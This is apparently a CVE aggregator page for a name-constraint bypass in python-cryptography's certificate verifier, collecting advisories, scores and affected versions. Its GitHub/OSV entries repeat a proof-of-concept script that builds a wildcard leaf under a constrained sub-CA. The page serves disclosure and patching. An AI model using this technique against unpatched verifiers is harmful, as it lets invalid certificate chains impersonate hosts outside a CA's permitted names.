Every CVE Search/ Get API key

CVE-2026-69248

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

6.9 MediumFix available

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
None

Exploit likelihood

0.24%Up 0.1 points since Aug 4, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.9

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Record
CVE-2026-69248
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-295
Updated
2026-11-02
EUVDEUVD-2026-52448 6.9

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Record
EUVD-2026-52448
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-m2h6-j472-rp4c 6.9

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Record
GHSA-m2h6-j472-rp4c
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-295
Updated
2026-11-02
NVD 6.9

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Record
CVE-2026-69248
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-295
Updated
2026-11-02
OSV 6.9

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Record
CVE-2026-69248
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-295
Updated
2026-11-02
OSVDEBIAN-CVE-2026-69248 6.9

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Record
DEBIAN-CVE-2026-69248
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
Show 22 moreShow less
OSVGHSA-m2h6-j472-rp4c 6.9

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Record
GHSA-m2h6-j472-rp4c
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-295
Updated
2026-11-02
OSVPYSEC-2026-3554 6.9

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Record
PYSEC-2026-3554
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
OSVRHSA-2026:55543 9.1

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:55543
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:64774 7.5

Red Hat Security Advisory: python3.14-cryptography security update

Record
RHSA-2026:64774
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:64795 7.5

Red Hat Security Advisory: python3.14-cryptography security update

Record
RHSA-2026:64795
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:64774 7.5

Important: python3.14-cryptography security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

  • python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)

  • python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:64774
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:64795 7.5

Important: python3.14-cryptography security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

  • python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)

  • python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:64795
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-69248 6.9

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

Record
UBUNTU-CVE-2026-69248
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
OSVALSA-2026:64774 No score

Important: python3.14-cryptography security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

  • python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)
  • python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:64774
Updated
2026-11-02
OSVALSA-2026:64795 No score

Important: python3.14-cryptography security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

  • python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building (CVE-2026-69249)
  • python-cryptography: python-cryptography: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees (CVE-2026-69248)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:64795
Updated
2026-11-02
OSVCLSA-2026-1781225624 No score

TuxCare security update for cryptography (2 CVEs)

TuxCare rebuilt cryptography to address 2 CVEs. Fixed in 45.0.7.post3+tuxcare.

Record
CLSA-2026-1781225624
Updated
2026-11-02
OSVCLSA-2026-1783645382 No score

TuxCare security update for cryptography (2 CVEs)

TuxCare rebuilt cryptography to address 2 CVEs. Fixed in 44.0.3.post3+tuxcare.

Record
CLSA-2026-1783645382
Updated
2026-11-02
OSVCLSA-2026-1790065768 No score

TuxCare security update for cryptography (1 CVE)

TuxCare rebuilt cryptography to address 1 CVE. Fixed in 46.0.7.post3+tuxcare.

Record
CLSA-2026-1790065768
Updated
2026-11-02
OSVCLSA-2026-1793701169 No score

TuxCare security update for cryptography (1 CVE)

TuxCare rebuilt cryptography to address 1 CVE. Fixed in 43.0.3.post6+tuxcare.

Record
CLSA-2026-1793701169
Updated
2026-11-03
OSVopenSUSE-SU-2026:12133-1 No score

matrix-synapse-1.163.0-1.1 on GA media

These are all security issues fixed in the matrix-synapse-1.163.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12133-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21685-1 No score

Security update for python-cryptography

This update for python-cryptography fixes the following issues:

  • CVE-2026-69247: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing (bsc#1273551).
  • CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).
  • CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).
Record
openSUSE-SU-2026:21685-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-69248 No score

CVE-2026-69248 in cryptography - Patched by Root

Root has patched CVE-2026-69248 in the cryptography package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-69248
Updated
2026-11-02
OSVSUSE-SU-2026:23196-1 No score

Security update for python-cryptography

This update for python-cryptography fixes the following issues:

  • CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).
  • CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).
Record
SUSE-SU-2026:23196-1
Updated
2026-11-02
OSVSUSE-SU-2026:23247-1 No score

Security update for python-cryptography

This update for python-cryptography fixes the following issues:

  • CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).
  • CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).
Record
SUSE-SU-2026:23247-1
Updated
2026-11-02
OSVSUSE-SU-2026:23404-1 No score

Security update for python-cryptography

This update for python-cryptography fixes the following issues:

  • CVE-2026-69247: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing (bsc#1273551).
  • CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).
  • CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).
Record
SUSE-SU-2026:23404-1
Updated
2026-11-02
OSVSUSE-SU-2026:23570-1 No score

Security update for python-cryptography

This update for python-cryptography fixes the following issues:

  • CVE-2026-69247: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing (bsc#1273551).
  • CVE-2026-69248: verifier accepts wildcard DNS names allowing escape from permittedSubtrees (bsc#1273549).
  • CVE-2026-69249: duplicate self-signed intermediates can cause exponential path-building (bsc#1273516).
Record
SUSE-SU-2026:23570-1
Updated
2026-11-02
OSVUSN-8776-1 No score

python-cryptography vulnerabilities

It was discovered that python-cryptography incorrectly accepted objects with immutable buffers when performing certain cipher operations. This would result in corrupted output, contrary to expectations. This issue only affected Ubuntu 18.04 LTS. (CVE-2023-23931)

It was discovered that python-cryptography reported the outcome of decrypting PKCS#7 enveloped data in distinguishable ways, and with observable timing differences. A remote attacker could possibly use this issue to recover the key used to encrypt the message contents, and obtain sensitive information. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-69247)

Jack Lloyd discovered that python-cryptography incorrectly handled wildcard DNS names when enforcing the name constraints of a certificate authority. A remote attacker could possibly use this issue to have an invalid certificate chain accepted, and use names outside of the permitted ones. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-69248)

Samuel Judson discovered that python-cryptography incorrectly handled certificate chains that contained duplicate certificates. A remote attacker could possibly use this issue to cause python-cryptography to use excessive resources, leading to a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-69249)

Record
USN-8776-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
cryptography
PyPI
45.0.0 up to 49.0.0
49.0.0
python3.14-cryptography
AlmaLinux:9
From an advisory covering 2 CVEs
before 45.0.4-4.el9_8.6
45.0.4-4.el9_8.6
python3.14-cryptography
AlmaLinux:10
From an advisory covering 2 CVEs
before 45.0.4-4.el10_2.5
45.0.4-4.el10_2.5
cryptography
TuxCare:PyPI
From an advisory covering 2 CVEs
45.0.7 up to 45.0.7.post3+tuxcare, plus listed versions
45.0.7.post1+tuxcare45.0.7.post2+tuxcare
45.0.7.post3+tuxcare
cryptography
TuxCare:PyPI
From an advisory covering 2 CVEs
44.0.3 up to 44.0.3.post3+tuxcare, plus listed versions
44.0.3.post1+tuxcare44.0.3.post2+tuxcare
44.0.3.post3+tuxcare
cryptography
TuxCare:PyPI
46.0.7 up to 46.0.7.post3+tuxcare, plus listed versions
46.0.7.post1+tuxcare46.0.7.post2+tuxcare
46.0.7.post3+tuxcare
cryptography
TuxCare:PyPI
43.0.3 up to 43.0.3.post6+tuxcare, plus listed versions
43.0.3.post1+tuxcare43.0.3.post2+tuxcare43.0.3.post3+tuxcare43.0.3.post4+tuxcare43.0.3.post5+tuxcare
43.0.3.post6+tuxcare
python-cryptography
Debian:12
All versions, plus listed versions
38.0.4-338.0.4-3+deb12u138.0.4-441.0.7-141.0.7-2
Show 24 moreShow less
41.0.7-341.0.7-441.0.7-542.0.5-142.0.5-243.0.0-143.0.0-243.0.0-344.0.2-144.0.2-245.0.6-145.0.6-1~exp145.0.7-146.0.1-146.0.1-1~exp146.0.5-146.0.5-246.0.6-146.0.7-147.0.0-149.0.0-149.0.0-1~exp149.0.0-250.0.2-1~exp1
None known
python-cryptography
Debian:13
All versions, plus listed versions
43.0.0-343.0.0-3+deb13u144.0.2-144.0.2-245.0.6-1
Show 13 moreShow less
45.0.6-1~exp145.0.7-146.0.1-146.0.1-1~exp146.0.5-146.0.5-246.0.6-146.0.7-147.0.0-149.0.0-149.0.0-1~exp149.0.0-250.0.2-1~exp1
None known
python-cryptography
Debian:14
before 49.0.0-1, plus listed versions
43.0.0-344.0.2-144.0.2-245.0.6-145.0.6-1~exp1
Show 9 moreShow less
45.0.7-146.0.1-146.0.1-1~exp146.0.5-146.0.5-246.0.6-146.0.7-147.0.0-149.0.0-1~exp1
49.0.0-1
Show 23 moreShow less
Affected packages
PackageAffectedFixed
cryptography
PyPI
45.0.0 up to 49.0.0, plus listed versions
45.0.145.0.245.0.345.0.445.0.5
Show 13 moreShow less
45.0.645.0.746.0.046.0.146.0.246.0.346.0.446.0.546.0.646.0.747.0.048.0.048.0.1
49.0.0
cryptography
PyPI
before 49.0.0, plus listed versions
0.10.20.2.10.2.20.3
Show 45 moreShow less
0.40.50.5.10.5.20.5.30.5.40.60.6.10.70.7.10.7.20.80.8.10.8.20.90.9.10.9.20.9.31.01.0.11.0.21.11.1.11.1.21.21.2.11.2.21.2.31.31.3.11.3.21.3.31.3.41.41.51.5.11.5.21.5.31.61.71.7.11.7.21.81.8.11.8.2
49.0.0
python-cryptography
Red Hat:hummingbird:1
From an advisory covering 24 CVEs
before 0:50.0.0-1.hum1
0:50.0.0-1.hum1
python3-cryptography
Red Hat:hummingbird:1
From an advisory covering 24 CVEs
before 0:50.0.0-1.hum1
0:50.0.0-1.hum1
python3.14-cryptography
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:45.0.4-4.el9_8.6
0:45.0.4-4.el9_8.6
python3.14-cryptography-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:45.0.4-4.el9_8.6
0:45.0.4-4.el9_8.6
python3.14-cryptography-debugsource
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:45.0.4-4.el9_8.6
0:45.0.4-4.el9_8.6
python3.14-cryptography
Red Hat:enterprise_linux:10.2
From an advisory covering 2 CVEs
before 0:45.0.4-4.el10_2.5
0:45.0.4-4.el10_2.5
python3.14-cryptography-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 2 CVEs
before 0:45.0.4-4.el10_2.5
0:45.0.4-4.el10_2.5
python3.14-cryptography-debugsource
Red Hat:enterprise_linux:10.2
From an advisory covering 2 CVEs
before 0:45.0.4-4.el10_2.5
0:45.0.4-4.el10_2.5
python3.14-cryptography
Rocky Linux:9
From an advisory covering 2 CVEs
before 0:45.0.4-4.el9_8.6
0:45.0.4-4.el9_8.6
python3.14-cryptography
Rocky Linux:10
From an advisory covering 2 CVEs
before 0:45.0.4-4.el10_2.5
0:45.0.4-4.el10_2.5
cryptography
Root:PyPI
before 46.0.3+aikido.9
46.0.3+aikido.944.0.0+aikido.343.0.1+aikido.848.0.0+aikido.548.0.0+aikido.643.0.1+aikido.944.0.0+aikido.446.0.3+aikido.10
python-cryptography
SUSE:Linux Micro 6.1
From an advisory covering 2 CVEs
before 42.0.4-slfo.1.1_6.1
42.0.4-slfo.1.1_6.1
python-cryptography
SUSE:Linux Micro 6.0
From an advisory covering 2 CVEs
before 42.0.4-6.1
42.0.4-6.1
python-cryptography
SUSE:Linux Micro 6.2
From an advisory covering 3 CVEs
before 44.0.3-160000.5.1
44.0.3-160000.5.1
python-cryptography
SUSE:Linux Enterprise Server 16.0
From an advisory covering 3 CVEs
before 44.0.3-160000.5.1
44.0.3-160000.5.1
python-cryptography
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 3 CVEs
before 44.0.3-160000.5.1
44.0.3-160000.5.1
python-cryptography
Ubuntu:26.04:LTS
before 46.0.5-1ubuntu2.2, plus listed versions
43.0.0-1ubuntu146.0.1-1ubuntu246.0.5-1ubuntu146.0.5-1ubuntu2
46.0.5-1ubuntu2.2
python-cryptography
Ubuntu:Pro:18.04:LTS
From an advisory covering 4 CVEs
before 2.1.4-1ubuntu1.4+esm6, plus listed versions
1.9-12.1.3-32.1.4-12.1.4-1build12.1.4-1build2
Show 7 moreShow less
2.1.4-1ubuntu12.1.4-1ubuntu1.12.1.4-1ubuntu1.22.1.4-1ubuntu1.32.1.4-1ubuntu1.42.1.4-1ubuntu1.4+esm12.1.4-1ubuntu1.4+esm3
